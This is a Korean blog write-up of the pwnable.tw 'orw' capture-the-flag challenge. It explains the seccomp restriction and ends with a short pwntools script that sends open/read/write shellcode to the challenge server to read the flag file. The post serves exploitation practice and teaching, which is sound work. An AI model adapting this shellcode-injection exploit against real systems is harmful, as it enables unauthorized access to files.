fkillrra 2019. 12. 10. 20:35

pwnable.tw orw

pwnable.tw 두번째 문제 orw다.

문제에서 힌트를 얻을 수 있었는데, 문제의 이름이 ORW(=Open Read Write)인 점과, flag의 절대 경로를 알려주는 점에서 open(), read(), write()함수를 이용하여 flag를 직접 읽어야하는 문제이구나~ 라고 생각했다.

 

check Memory Protection

메모리 보호기법을 확인해보면 다음과 같이 Partial RELRO, Canary가 걸려있다.

 

Binary Decompile

바이너리를 디컴파일하여 main()함수를 확인해보면

orw_seccomp() -> printf() -> read()를 진행한 후, read()함수를 통해 shellcode라는 위치에 0xc8(=200)byte입력받고, call을 해줌으로서 바이너리가 종료된다.

 

따라서 쉘코드를 입력만 해주면 알아서 call해주는 형식인데, 중요한 부분은 orw_seccomp() 함수다.

 

orw_seccomp()

orw_seccomp() 함수에서 prctl()함수를 호출하면서 execve()함수의 사용을 제한하고,

read, write, exit, sigreturn syscall만 허용하고 있다.

 

따라서 이 문제의 핵심은 open("/home/orw/flag") -> read(fd, 임의의 버퍼, size) -> write(1, 임의의 버퍼, size) 형태의 쉘코드를 작성하는 것이다.

 

처음 페이로드를 작성하려고 보니

open()함수 호출 이후 fd값을 가져와서 read() 함수에 인자값으로 넣어줘야하는데,

open() 함수의 return 값은 eax레지스터에 담기고, 이 값을 어떻게 read() 함수의 인자값으로 넘기는지 몰랐다.

 

하지만 갓 pwntools의 asm과 shellcraft를 이용하여 다음과 같이 짧고, 간결한 페이로드를 만들 수 있었다.

from pwn import *

p = remote('chall.pwnable.tw',10001)

p.recvuntil('shellcode:')

buf = ''
buf += asm(shellcraft.open('/home/orw/flag'))
buf += asm(shellcraft.read('eax', 0x804a140, 0x50))
buf += asm(shellcraft.write(1, 0x804a140, 0x50))

p.sendline(buf)

p.interactive()
반응형